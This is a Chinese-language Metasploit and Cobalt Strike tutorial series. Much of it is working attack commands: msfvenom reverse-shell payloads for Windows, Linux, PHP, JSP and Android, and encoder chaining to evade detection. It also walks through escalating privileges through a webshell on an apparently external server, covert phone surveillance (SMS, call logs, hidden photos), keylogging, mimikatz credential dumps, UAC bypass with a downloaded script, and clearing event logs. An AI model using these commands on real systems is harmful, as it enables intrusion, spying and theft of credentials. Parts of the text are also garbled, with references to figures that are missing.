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第一章节
一．metasploit 的基本信息：

上图中红框中所显示的就是目前版本中所可使用的模块

metasploit 的基本为文件结构如下：

config metasploit 的环境配置信息，数据库配置信息

http://lib.csdn.net/base/mysql


Data 渗透后模块的一些工具及 payload，第三方小工具集合，用户字典等数据信息

Db rails 编译生成 msf 的 web 框架时的数据库信息

Documentation 用户说明文档及开发文档

External metasploit 的一些基础扩展模块

Libs metasploit 的一些基础类和第三方模块类

Log metasploit 运行时的一些系统信息和其他信息

Modules metasploit 的系统工具模块，包括预辅助模块（auxiliary），渗透模块(exploits),

攻击荷载(payloads)和后渗透模块(posts)，以及空字段模块(nops)和编码模块(Encoders)

Msfbinscan 对 bin 文件进行文件偏移地址扫描

Msfconsole metasploit 的基本命令行，集成了各种功能。

Msfelfscan 对 Linux 的 elf 文件偏移地址进行扫描

Msfmachscan 功能同 msfelfscan

Msfpescan 对 windows 的 pe 格式文件偏移地址进行扫描

Msfvenom 集成了msfpayload和msfencode的功能，效率更高替代msf payload和msfencode

Plugins metasploit 的第三方插件接口

Scripts metasplit 的常用后渗透模块，区别于 data 里的后渗透模块，不需要加 post 参数

和绝对路径，可以直接运行

二．Metasploit 常用参数：

help 参数可以看到全部的参数信息 如图：

http://lib.csdn.net/base/linux




接下来我们来认识一些经常用到的参数，以下介绍的参数都可以 xx -h 看到参数详细信息

1.search 参数

它可以搜索到你 metasploit 存在的利用模块 如图：

2.use 参数

你想利用某个 Payload，或者某个模块都要用到 use 参数 如图：

3.show options 参数

它可以看到利用模块的设置信息 如图：



图中的 session 设置选项在以后的提权文章中会讲解到，yes 代表是必须要设置的选项

4.info 参数

它可以看到模块的所有的详细介绍信息 如图：



5.set 参数

它是设置 Basic targets 选项 如图：

Set targets 0 这个设置就例如 info 参数图中的显示，它的意思就是指定 windows 版本

6.back 参数

如果你想重新选择一个新的利用模块那么就要用 back 返回 如图：

7.exit 参数

Exit 和 back 一样一个是返回，一个是退出 如图：

8.kill 参数（杀死一个进程） 和 session 参数在以后的 meterpreter 文章中会介绍到

以上所演示的参数所属我们在使用 metasploit 渗透框架的时候所用到的常用参数



第二章节
一．开启 posttgresql 数据库和 db_* 参数的介绍：

扫描阶段的时候为了方便查看扫描的结果，那么就需要开启 posttgresql 数据库，命令为：

/etc/init.d/postgresql start 如图：

开启成功后我们来进入 msf> 下查看是否已经链接 posttgresql 数据库，首先 help 参数

一下看一下 Database 参数信息 如图：

1.db_status 参数

它是查看是否连接 posttgresql 数据库 如图：



如上图显示我是没有链接的，那么我们用其它参数来链接它，新版本的数据库密码要自己设

置 如图：

查看数据库的配置信息 如图：

2.db_connect 参数

db_connect 是用来连接数据库

格式为：db_connect 账号:密码@localhost:5432/数据库名称 如图：

如上图所示我们已经链接上了数据库，如果你想改变连接其它的数据库得需要断开当前的数



据库，直接执行 msf>

3.db_disconnect 参数为断开连接参数直接执行 db_disconnect 即可

二．调用 db_nmap 和自带 tcp 模块扫描：

我们就拿我的本机 IP 测试 如图：

这里为了节省时间用了简单的参数扫描，至于其它的扫描参数请大家自行百度

4.hosts 参数

Hosts 参数是一个显示命令，可以帮助我们查看所扫描的记录信息 如图：

如果你只想查看扫描的 IP，使用 Hosts -c address 参数查看 如图：



Metasploit 自带了很多扫描模块，我们上一节介绍了常用的参数，其中有一个 search 搜

索参数 例子：search scanner（模块显示太多就不上截图了，自行测试）

那么我们选一个通用的 tcp 端口扫描模块，来巩固上一节所学到的 set，use，show

options 参数 如图：

我们从上图中的显示结果中找出 auxiliary/scanner/portscan/tcp 接下来配置扫描信息

如图 1：

如图 2：



如图 3：

图 1 中出现了我们所接触到的 use，show options 两个参数，图 2 中我们利用 set 设置

了扫描端口，扫描的目标 ip（可以扫描可以为 192.168.11.1/24 来个全内网的扫描）及扫

描线程（我们的扫描最大线程就是为 16），图 3 中我们利用 run（或者 exploit）参数来

执行扫描

第三章节
前沿：自从 metasploit 更新后就移除了 msfencode 以及 msfpayload，并推出了全新的

生成器 msfvenom，接下来介绍一下 msfvenom 的使用方法

一.msfvenom 的参数详解：

msfvenom -h 查看帮助信息 如图：



我们拿部分参数来介绍

1.-p 这个是指定你要加载的 payload

2.-l 列出所有的 payload

3.-n 设置 nopsled 的大小，常用 rop 类型的 payload，可以绕过系统 edp 保护

4.-f 指定两种格式输出，和 msfencode -t 相同

（第一种：支持 aspx php asp exe dll elf jsp msi war vbs 等等常用格式....................）

（第二种：支持了 bash c java python ruby psl py perl pl 等等常用格式.....................）

5.-e 使用编码器

6.-a 精确的使用编码（生成的 payload 用于 32 位操作系统 那么就指定 -a x86）

7.-s 生成 payload 的时候可以指定最大多少

8.-b 去除空代码或者错误代码减少多余的字符同时减少体积（例如：-b \xOO\xff）

9.-i 指定编码次数

10.-c 捆绑



11. -o 指定输出位置

二．常用脚本的生成：

1.exe 如图：

如上图中生成的 exe payload 192.168.11.104 是攻击者的监听 IP，端口是攻击者的监听

端口，我们只此 exe 生成作为图片例子，其它的脚本生成我给大家贴出来，至于安卓控制

我会单独的写一节文章给大家学习

2.Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP>

LPORT=<PORT> -f elf > root.elf

3.Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP>

LPORT=<PORT> -f exe > shell.exe



4.Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f

macho > shell.macho

5.PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f

raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>

shell.php

6.ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP>

LPORT=<PORT> -f asp > shell.asp

7.JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f

raw > shell.jsp

8.WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f

war > shell.war



9.Python

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f

raw > shell.py

10.Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw >

shell.sh

11.Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw >

shell.pl

三．捆绑技术生成：

第四章节
前沿：上一节我们学习了 msfvenom 生成参数和各种脚本的生成，那么这一节我们来实战

利用 ms15_051 和 ms14_058 的提权模块来提权 08，03 服务器，内容里面涉及到了我们

上一节所接触到的知识，开始之前我们首先来认识一下 metasploit 图形化商业版

1.推荐 exploit 和公开了 metasploit 框架的高级功能它已经升级到了 3.0 以上的版本，今

天我们的这一节使用的是 2.5 版本 Cobalt Strike 一款以 metasploit 为基础的 GUI 的框



架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe 木

马生成，win dll 木马生成，java 木马生成，office 宏病毒生成，木马捆绑；钓鱼攻击包括：

站点克隆，目标信息获取，java 执行，浏览器自动攻击等等

2.armitage 是 一 款 Java 写 的 metasploit 图 形 界 面 的 攻 击 软 件 ， 可 以 用 它 结 合

metasploit 已知的 exploit 来针对存在的漏洞自动化攻击，bt5 kali linx 下集成了免费版

本

攻击机：117.21.xx.xx 我的外网 kali

目标：一个支持 aspx 的 shell 59.188.xx.xx

由于是实战所以我们这里用到了一个 aspx 的一句话 shell 如图：

一．利用 ms14_058 这个模块提权：

前提是我们要必须反弹回来一个会话，这个网站支持 aspx，我们来生成一个 aspx 的反弹

脚本 如图：



-p 指定你加载的 pauload -f 指定脚本格式 -o 指定输出位置

二．配置 cobaltstrike：

1.设置监听

如图：

2.上传反弹脚本到 shell 并打开链接

如图 1：

图 2：



有数据返回 59.188.xx.xx 是目标的 ip 地址

图 3：

返回的信息说明它是网站用户权限

图 4：

红框内对提权模块对应的操作系统做了想很细的介绍，请自行翻译

图 5：



图 4 中我们设置的提权 session 为 112，我们再看图 3 中也是 112，图 5 中表示提权后

会返回一个新的会话 id 113

图 6：

提权成功

图 7：



远程 3389 控制桌面

Ms15_051 和 ms14_058 的利用相同



其实图形化界面就相当于一个远程控制，为了避免一些敏感信息外泄，我采用了打码的方式

请见谅，此节没有对大家过多的去介绍 cobaltsarike 的使用，大家可以加我的联系方式问

我，或者我会出一节专门对 cobaltsarike 使用做个介绍，文章中的反弹 shell 会话会在下

一章节中体现出来

第五章节
一．Msfvenom 编码生成：

Msfvenom 生成 payload 适当的利用一些可执行编码进行加密 msfvenom -l 来看一下

有哪些可用编码 如图：



每个编码都有详细的介绍信息，大家自行百度翻译查看，这里我们使用其中一个编码来进行

演示

1.x86/shikata_ga_nai

如图：



单编码进行五次加密，并去除多余的字符

2.多编码加密

Msfvenom -p windows/meterpreter/reverse_tcp -f raw -e

x86/jmp_call_additive LHOST=IP> | msfvenom -e x86/shikata_ga_nai -a x86 –

platform windows -f exe > 1.exe

这里只是给出了例子，大家可以自行组合编码

二．https 载荷突破防火墙的设置

图 1：

用 https 生成一个可执行 pyaload

图 2：



进入 multi/handler 接收返回会话模块，设置 https 载荷，设置本地监听 ip 和端口，这

里要注意生成 payload 的 ip 和端口要和本地监听的一样

图 3：

Show advanced 查看它的高级设置选项大家找到 SessionCommunicationTimeout

ExitOnSession 这两个选项

图 4：



SessionCommunicationTimeout 设置为 0 是断开时间默认为 300 秒

ExitOnSession 设置为 false 是保持会话存活

图 5：

Sessions 是查看会话 id sessions -i 会话 id 进入 meterpreter 会话

三．Payload Inject 射入载荷

post/windows/manage/payload_inject

我们可以这么理解，就是相当于把另一个载荷 payload 添加进原有的会话 id，从而返回一

个新的会话 id

图 1：



图 2：

Set 相关设置

图 3：



图 4：

射入载荷成功返回了一个新的会话 id 3，我们用 sessions -k 会话 id2

四.Auto Rdp Port 自动化开 3389 也可以开任意端口

post/windows/manage/enable_rdp

图 1 2 3：



如果成功 nc 监听的时候会提示成功，由于我的 win10 账户复杂，大家就自己测试一下吧

开启的时候需要目标的账号密码，这个在以后 meterpreter 章节中会讲到，如何读取明文

密码

五.Inject in Memory 射入内存

post/windows/manage/multi_meterpreter_inject

图 1：



上图中的 PAYLOAD 可以换做其它的载荷，但是前提是必须支持 windows

图 2：

图 3：

这个章节简单的说了一下编码加密生成 payload 和 https 载荷的高级设置，配合 post 辅



助模块进行权限的维护，此章节中的注入载荷，注入内存是以后 meterpreter 渗透后的内

容了，大家自行回顾一下第一章节中的模块介绍

第六章节
前沿：第三章节中我给大家提到控制安卓手机，那么通过上一章节我们接触到了编码加密以

及 https 的高级应用并反弹 meterpreter 会话 shell，那么我们这一章节就来说一下如何

控制安卓手机并巩固上一章节的知识点

一．安卓的 payload 生成

大家都知道安卓手机支持的安卓格式为 apk 那么我们来用 msfvenom 生成一个 我们所用

到的命令为：

msfvenom -p android/meterpreter/reverse_tcp LHOST= 监 听 ip LPORT= 监 听 端 口

R > gome.apk

如图：

攻击机 ip：192.168.11.105

目标：我的 oppo 手机 如图：





我手机的基本情况如上图中显示

1.设置 metasploit 本地监听

如图：

注意事项：

(1)生成 payload 的 IP 地址和端口，要和本地监听 ip 地址和端口一致

(2)因为是内网，目标和攻击机器必须在同网关下，否则不会接收到返回的会话

2.上传 apk payload 到我的手机上进行安装

如图：





安装完成，运行这个 apk 文件

如图：

接收到了一个会话，输入 help 会有就很多安卓 meterpreter 会话使用参数，这里给大家

介绍几个大家都喜欢的参数

(1)dump_calllog 下载受害手机的通话记录

(2)dump_sms 下载受害人的信息

(3)webcam_list 查看手机摄像头正反两个摄像头

1.Back Camera

2.Front Camera

(4)webcam_snap 隐秘拍照功能

用法：webcam_snap -i 1

webcam_snap -i 2

本章节到此结束，大家多去实验一下



第七章节
前沿：回顾第四章节的内容，我们提到 metasploit 的图形化界面 Cobaltstrike，这一章

节我们来了解一下这个图形化 3.0 的使用

简介：

Cobalt Strike 一款以 metasploit 为基础的 GUI 的框架式渗透工具，集成了端口转发、服

务扫描，自动化溢出，多模式端口监听，win exe 木马生成，win dll 木马生成，java 木马

生成，office 宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java 执

行，浏览器自动攻击等等，而 Cobalt Strike 3.0 已经不再使用 Metasploit 框架而作为一

个独立的平台使用

一．运行

与之前版本的 Cobalt Strike 不同， Cobalt Strike3.0 需要开启团体服务器才可以链接使

用，当然，这个服务器可以放到公网环境下，或者放到自己想要搭建此服务的环境中。 下

载好 Cobalt Strike 以后包含以下几个文件：



其中关键的文件是 teamserver 以及 cobaltstrike.jar，将这两个文件放到服务器上同一个

目录，然后运行：

./teamserver 192.168.74.1 msf3

这里为了方便使用，最好使用具体的 ip 地址，而不是 0.0.0.0 或者 127.0.0.1, 如果有多个

网卡，使用你要用的那个 ip 地址即可， msf3 为该团体服务器的连接密码

这里 ip 使用服务器的 ip，端口默认 50050，用户名随意，密码为之前设置的密码，然后

connect,弹出验证窗口，然后点是，就进入 Cobalt Strike 了



二．操作功能

1.Listeners

使用 Cobalt Strike 首先需要创建一个 Listener,依次点击 Cobalt Strike->Listeners ，

然后点击 Add 便可以创建自己想要的 Listeners 了，Cobalt Strike3.0 包括

 windows/beacon_dns/reverse_dns_txt

 windows/beacon_dns/reverse_http

 windows/beacon_http/reverse_http

 windows/beacon_https/reverse_https

 windows/beacon_smb/bind_pipe

 windows/foreign/reverse_dns_txt

 windows/foreign/reverse_http

 windows/foreign/reverse_https



 windows/foreign/reverse_tcp

其中 windows/beacon* 是 Cobalt Strike 自带的模块，包括 dns,http,https,smb 四种

方式的监听器，windows/foreign* 为外部监听器，即 msf 或者 Armitage 的监听器，选

择监听器以后，host 会自动填写我们开启服务时的 ip，配置监听端口，然后保存，监听器

就创建好了

————————————————————————————————————

2.Attacks

创建好监听器，下面就需要配置客户端了，Cobalt Strike 包括多种攻击方式，其中

Packages 包括如下几种：

HTML Application 生成恶意的 HTA 木马文件；

MS Office Macro 生成 office 宏病毒文件；

Payload Generator 生成各种语言版本的 payload;

USB/CD AutoPlay 生成利用自动播放运行的木马文件；

Windows Dropper 捆绑器，能够对文档类进行捆绑；

Windows Executable 生成可执行 exe 木马；

Windows Executable(S) 生成无状态的可执行 exe 木马。

Web Drive-by（钓鱼攻击）包括如下几个模块：



Manage 对开启的 web 服务进行管理；

Clone Site 克隆网站，可以记录受害者提交的数据；

Host File 提供一个文件下载，可以修改 Mime 信息；

PowerShell Web Delivery 类似于 msf 的 web_delivery ;

Signed Applet Attack 使用 java 自签名的程序进行钓鱼攻击;

Smart Applet Attack 自动检测 java 版本并进行攻击，针对 Java 1.6.0_45 以下以及 J

ava 1.7.0_21 以下版本；

System Profiler 用来获取一些系统信息，比如系统版本，Flash 版本，浏览器版本等。

Spear Phish 是用来邮件钓鱼的模块。

————————————————————————————————————

3.View



View 模块可以方便测试者查看各个模块，图形化的界面可以方便的看到受害者机器的各个

信息。

Applications 显示受害者机器的应用信息；

Credentials 显示受害者机器的凭证信息，能更方便的进行后续渗透；

Downloads 文件下载；

Event Log 可以看到事件日志，清楚的看到系统的事件,并且团队可以在这里聊天;

Keystrokes 查看键盘记录；

Proxy Pivots 查看代理信息；

Screenshots 查看屏幕截图；

Targets 查看目标

Web Log 查看 web 日志

还有 Reporting 的功能就不介绍了，主要就是出报告用的

0x05 Beacon

Beacon 可以选择通过 DNS 还是 HTTP 协议出口网络，你甚至可以在使用 Beacon 通讯

过程中切换 HTTP 和 DNS。其支持多主机连接，部署好 Beacon 后提交一个要连回的域名

或主机的列表，Beacon 将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中

的主机才可中断和其网络的通讯。

通过种种方式获取 shell 以后（比如直接运行生成的 exe），就可以使用 beacon 了，右击

电脑，Interact，则可打开 Beacon Console



在 beacon 处输入 help，则可以看到详细说明：

beacon> helpBeacon Commands===============
Command Description
------- -----------
browserpivot Setup a browser pivot session
bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in-progress
cdChange directory
checkin Call home and post data
clear Clear beacon queue
covertvpn Deploy Covert VPN client
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate Try to elevate privileges
execute Execute a program on target
exit Terminate the beacon session
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
kerberos_ccache_use Apply kerberos ticket from cache to

this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill Kill a process
link Connect to a Beacon peer over SMB
logonpasswordsDump credentials and hashes with mimikatz



lsList files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode http Use HTTP as data channel
mode smb Use SMB peer-to-peer communication
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powershell Execute a command via powershell
powershell-import Import a powershell script
psShow process list
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
pth Pass-the-hash using Mimikatz
pwd Print current directory
rev2self Revert to original token
rmRemove a file or folder
rportfwd Setup a reverse port forward
runas Execute a program as another user
screenshot Take a screenshot
shell Execute a command via cmd.exe
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
wmi Use WMI to spawn a session on a host

对于某个模块的使用方式可以直接使用 help 查看，如：

beacon> help browserpivotUse: browserpivot [pid] [x86|x64]
browserpivot [stop] Setup a Browser Pivot into the specified

process. To hijack authenticated
web sessions, make sure the process is an Internet Explorer tab. These



processes have iexplore.exe as their parent process. Use
"browserpivot stop" to tear down the browser pivoting sessions
associated with this Beacon.

————————————————————————————————————

4.Browserpivot

用户注入受害者浏览器进程，然后开启 HTTP 代理，之后就可以登录受害者登录的网站了。

使用方式，ps 找到浏览器进程：

注入进程：

beacon> browserpivot 3452 x64

设置本地浏览器代理：



当受害者登录某网站账号以后，通过代理，本机浏览器同样登录该网站

当然当被攻击者关闭浏览器的时候，代理也就失效了，关闭此代理可使用如下命令：

browserpivot stop

——————————————————————————————————

—————

5.Socks

可以直接开启 socks4a 代理，可以通过代理进行内网渗透测试。

开启 socks

beacon>socks 9999

这里可以选择其中一台，右键 Pivoting->SOCKS Server，则使用此台计算机开启 socks

代理。

配置 proxychains.conf，添加

socks4 127.0.0.1 9999

然后就可以通过 proxychains 使用各种工具做内网渗透了。

或者直接开启隧道使用 msf，依次点击 View->Proxy Pivots，选择 Socks4a Proxy,点击

Tunnel:



复制以后，在 metasploit 中执行，则可以开启代理：

关闭 socks

beacon>socks stop

Screenshot&Keylogger

这里的 screenshot 可以截取受害者一定时间的屏幕截图，操作命令为：

beacon>screenshot [pid] <x86|x64> [run time in seconds]

或者

beacon>screenshot

然后打开 View->Screenshots，则可以看到屏幕截图：



键盘记录器的使用方式为：

Use: keylogger [pid] <x86|x64>

然后打开 View->Keystrokes，则可以看到键盘记录结果：

如果不想使用命令行，可以直接选择受害者计算机（可多选），右键->Explore->Process

List：

————————————————————————————————————

6. powershell-import



这个功能在后渗透测试中很有用，可以导入各种 powershell 渗透框架，比如 nishang 的

powerpreter，直接执行：

beacon> powershell-import

然后在文件浏览器里面选择 Powerpreter.psm1：

或者直接执行：

powershell-import [/path/to/local/script.ps1]

进行导入，之后就可以使用 powerpreter 的各种模块了。

要执行某模块直接使用如下命令,比如：

beacon> powershell Check-VM

————————————————————————————————————

7.kerberos 相关



这里一共有三个模块，分别是：

 kerberos_ccache_use :从 ccache 文件中导入票据

 kerberos_ticket_purge :清除当前会话的票据

 kerberos_ticket_use：从 ticket 文件中导入票据

获取黄金票据的方式比如使用 mimikatz:

————————————————————————————————————

8.BypassUAC

什么，你不能读密码？试试 bypassuac 吧~

直接执行

beacon> bypassuac

下面你就可以执行那些需要最高权限的操作了。

在这里就演示使用 bypassuac 的 powershell 脚本来获取 Win10 最高权限，由于 nishang

的 powershell 脚本现在并不支持 Win10,所以这里使用了一个我修改的 powershell 脚

本 invoke-BypassUAC.ps1

生成一个 beacon 后门：

上传后门：

beacon> cd E:
beacon> upload /Users/evi1cg/Desktop/test.exe

加载 powershell 执行后门：

https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/invoke-BypassUAC.ps1


beacon> powershell-import
/Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.p
s1
beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe'

然后他就破了：

使用那个破了的电脑的 beacon 读取密码：

beacon> sleep 0
beacon> wdigest



beacon> hashdump

二．与 metasploit 联动

cobalt strike3.0 不再使用 Metasploit 框架而作为一个独立的平台使用，那么怎么通过

cobalt strike 获取到 meterpreter 呢，别担心，可以做到的。 首先我们使用 metasploit

的 reverse_tcp 开启监听模式：

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter
msf exploit(handler) > set payload
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.74.1
lhost => 192.168.74.1
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit -j

之后使用 Cobalt Strike 创建一个 windows/foreign/reverse_tcp Listener：



其中 ip 为 metasploit 的 ip 地址，端口为 msf 所监听的端口。然后选中计算机，右键

->Spawn:

选择刚刚创建的监听器：

可以看到成功获取了 meterpreter 回话：



本章节只是介绍了 Cobalt Strike 的部分功能，如有错误，请各位大牛指正，关于 Cobalt

Strike 其他的功能小伙伴们可以自己研究

————————————————————————————————————

第八章节
章节环境：

虚拟机 kali linux，物理机 win10 系统

一.Meterpreter 命令

包含大量的命令,它可以被分成以下几类：

1、核心命令

2、STDapi :文件指令

3、STDapi：网络命令

4、STDapi：文件系统命令

5、STDapi：用户接口命令

6、STDapi：Web Cam 命令

7、Priv : 提权命令

8、Priv : 密码数据库命令

9、Priv : 时间戳命令

我们先得到一个 meterpreter 会话，老生常谈

如图 1：

图 2：



图 3：

进入会话输入 help 参数，会列出所有的参数详细使用信息，我们介绍一些基本应用

1.sessions 命令：

(1)sessions 查看 meterpreter 会话 id 信息

(2)sessions -i 会话 id 号 进入会话

(3)sessions -k 1 结束会话



2.sysinfo 命令查看目标的操作系统信息：

3.execute 命令

execute 命令为目标主机上执行一个命令，其中 execute -h 显示帮助信息。-f 为执行要运

行的命令

4.idletime 命令

idletime 命令为显示目标机器截止到当前无操作命令的时间，图中的显示意思为目标主机

有操作是在 0 分 0秒之前

5.ifconfig 命令

ifconfig 命令为显示远程机器的网络接口和 IP 地址等信息



6.Migrate 命令

使用 migrate 模块，你可以迁移目标机的一个进程到另一个进程：

当我们攻击一个系统是，常常是对像是 IE 之类的服务漏洞进行利用的，可是不免有对方关

闭 IE 的情况，那么我们的 meterpreter 会话将会关闭，从而导致与目标系统失去连接，所

以我们可以使用迁移进程后的攻击模块，将 sessions 迁移到内存空间中的其他稳定的、不

会被关闭的服务进程中，以维持稳定的系统控制连接



7.Search 命令

使用 search –h 命令来查看 search 命令的帮助信息

8.webcam_snap 命令

webcam_snap 命令为抓取目标主机当前的摄像头拍摄到的画面，并将它以图片形式保存到本

地，webcam_snap –h 命令为查看参数的使用方法。由于我们的实验中目标机器没有摄像头，

所以我们运行 webcam_snap -i 1 -v false 命令之后返回以下信息

9.background 命令

将当前会话放置后台

二.脚本命令

1.run checkvm 命令

检查远程主机是一个虚拟主机还是一个真正的主机

2.run getgui 命令

getgui 添加用户的命令



3.rdesktop 命令

具体用法是在 kali 终端下输入 rdesktop –u username –p password IP 执行命令之后就

会弹出一个窗口，并对目标机器直接进行控制

4.Hashdump 命令

run hashdump 获得密码哈希值，运行这个脚本和在 meterpreter 下直接运行 hashdump 结果

差不多

5.keylogrecorder 命令

run keylogrecorder 命令为记录键盘信息，运行这个脚本和在 meterpreter 下直接运行

keyscan 结果差不多，这里将对键盘记录的文件进行保存，路径如下

6.vnc 命令

Run vnc 可以看到对方桌面



7.packetrecorder 命令

run packetrecorder 查看目标系统的所有网络流量，并且进行数据包记录，-i 1 指定记录

数据包的网卡。从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流

量信息将被存储的路径，可以到下面路径中直接查看

Win10 被拒绝访问

8.mimikatz 命令



获取明文密码

9.post/windows/gather/credentials/sso

辅助模块获取明文密码

三.Use 扩展命令

除了这些默认命令，meterpreter 可以通过使用一些扩展模块。使用扩展模块，命令为 use+

扩展名



1.use sniffer 命令

Metasploit 包含 sniffer 脚本，Meterpreter 的这个模块可以用来做数据包捕获,不需要在

远程机器上安装任何软件：首先执行 use sniffer 命令作用为使用嗅探脚本

sniffer_interfaces 命令为获取网卡的信息，得到我们的 ID 为 1

sniffer_start 1 开始嗅探

2.进入 cmd shell 命令

3.捕捉屏幕 screenshot 命令

4.捕获按键信息 keyscan 命令

使用 keyscan 的一些命令，其中 keyscan_start 是开启按键记录，启动这个命令后，远程

机器的按键开始被记录，keyscan_dump 是显示捕获的按键信息，之后按键信息将会显示。

keyscan_stop 命令为关闭按键记录，之后的按键信息将不会被捕获

图 1：

图 2：



图 3：

5.权限提升 getsystem

这是 meterpreter 中实施漏洞利用系统特权要求的一个重要的模块，为了这个目的,我们必

须用 PRIV extention. 在旧版本的 Metasploit 中，Priv extension 并不自动装载是使用

use priv 手动加载的。然而在后来的 msf 版本中并不需要担心这一点，使用 getuid 获得当

前的权限，migrate+PID，从列表中看到 PID 为 500 的是 administrator 权限，所以是迁移

到 administrator 的权限，getsystem –h 升级权限 SYSTEM 账户。这个模块可以用来提升

我们的特权，有四个技巧 Meterpreter 自动检查四个方法并且尝试其最好方法

6.盗取令牌

另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此，我们需要 incognito

扩展，使用 steal_token+PID 这个例子中我们使用的是 steal_token 500，其中由前面执

行 ps 后得到的信息可知，PID 假设为 500 的权限为 administrator，所以我们在执行命令

后虽然提示错误信息，但是它仍会被成功在后台执行，所以在运行 steal_token 后核实 UID

7.清除事件日志 clearev 命令

执行“clearev”命令，将清除事件日志。这个命令没有任何选项或参数

执行 clearev 命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空

的

8.下载文件

使用命令 download +file path,将下载目标机器的相对应权限的任何路径下的文件

9.上传文件

upload 命令为上传文件到我们的目标机器，在图中我们上传了 l23.txt 到目标机器的



c:\pc\下

我们不是 system 权限所以上传失败

10.查看文件

cat filename 在当前目录下查看文件内容，输入命令后便会返回给我们所查看文件的内容

11.pwd 命令

pwd 命令将查询当前在 dos 命令下的路径，cd 命令可以改变当前路径，如下图中 cd ..为切

换到当前路径下的上一目录

第九章节

前沿：上一章节我们认识到了一些渗透后的命令，也是一些简单的基本应用，我们这一章

节，是渗透后获取会话，去对一些代理的认识

一．获取 Meterpreter

1.首先生成可执行文件



二．Meterpreter 基本隧道代理

1.Portfwd

portfwd 是 meterpreter 提供的一种基本的端口转发，porfwd 可以反弹单个端口到本

地，并且监听，使用方法如下:



大家对于 -h 已经不陌生了 查看帮助信息

使用实例介绍：反弹 192.168.11.109 端口 3389 到本地 33891 并监听 如图：

（我是物理机是 win10 系统，没有开启任何端口，所以它要求提供远程的端口，我在这里

对大家说声不好意思，让朋友帮我做了一个实例截了一张图）

如果已经转发成功，我们可以自己验证 netstat -an | grep "33891"

接着连接本地 33891 端口即可连接受害机器 192.168.11.109 3389 端口

Rdesktop 127.0.0.1 33891 上一章节我已经给大家介绍了这个命令

如果 meterpreter 下转发成功 则会出现以下图中所显示



2.pivot

pivot 是 meterpreter 最常用的一种代理，可以轻松把你的机器代理到受害者内网环境下

面介绍下 pivot 使用方法 route add 添加临时路由表

在 metasploit添加一个路由表，目的是访问 10.1.1.129 将通过 meterpreter 的会话 1 来

访问

meterpreter > route

meterpreter > run get_local_subnets 查看路由段

10.1.1.129 255.255.255.255 1 我们的路由标段是这个

Ms exploit(handler) > route add 10.1.1.129 255.255.255.255 1 添加路由至本地

[*] Route added

msf exploit(handler) > route print

Active Routing Table

====================



Subnet Netmask Gateway

------ ------- -------

10.1.1.129 255.255.255.255 Session 1

这里如果要代理 10.1.1.129/24 到 session 1，则可以这么写

到这里 pivot 已经配置好了，你在 msf 里对 10.1.1.129 进行扫描(db_nmap)或者访问

(psexe 模块，ssh 模块等)将通过代理 session 1 这个会话来访问，如果想通过其他应用

程序来使用这个代理怎么办呢，这时候可以借助 metasploit socks4a 提供一个监听隧道

供其他应用程序访问：

首先使用 socks4a 并且配置，监听端口

msf exploit(handler) > use auxiliary/server/socks4a

msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The address to listen on

SRVPORT 1080 yes The port to listen on.

Auxiliary action:

Name Description

---- -----------

Proxy

msf auxiliary(socks4a) > exploit -y



[*] Auxiliary module execution completed

msf auxiliary(socks4a) >

[*] Starting the socks4a proxy server

查看监听端口

root@kali:~# netstat -an | grep "1080"

tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN

端口已经监听，接着配置 proxychains

root@kali:~# vim /etc/proxychains.conf

[ProxyList]

# add proxy here ...

# meanwileroot@kali:~# netstat -an | grep "1080"

tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN

# defaults set to "tor"

socks4 127.0.0.1 1080

配置好以后看看使用 proxychains 进行代理访问，这里访问 10.1.1.129 3389 端口



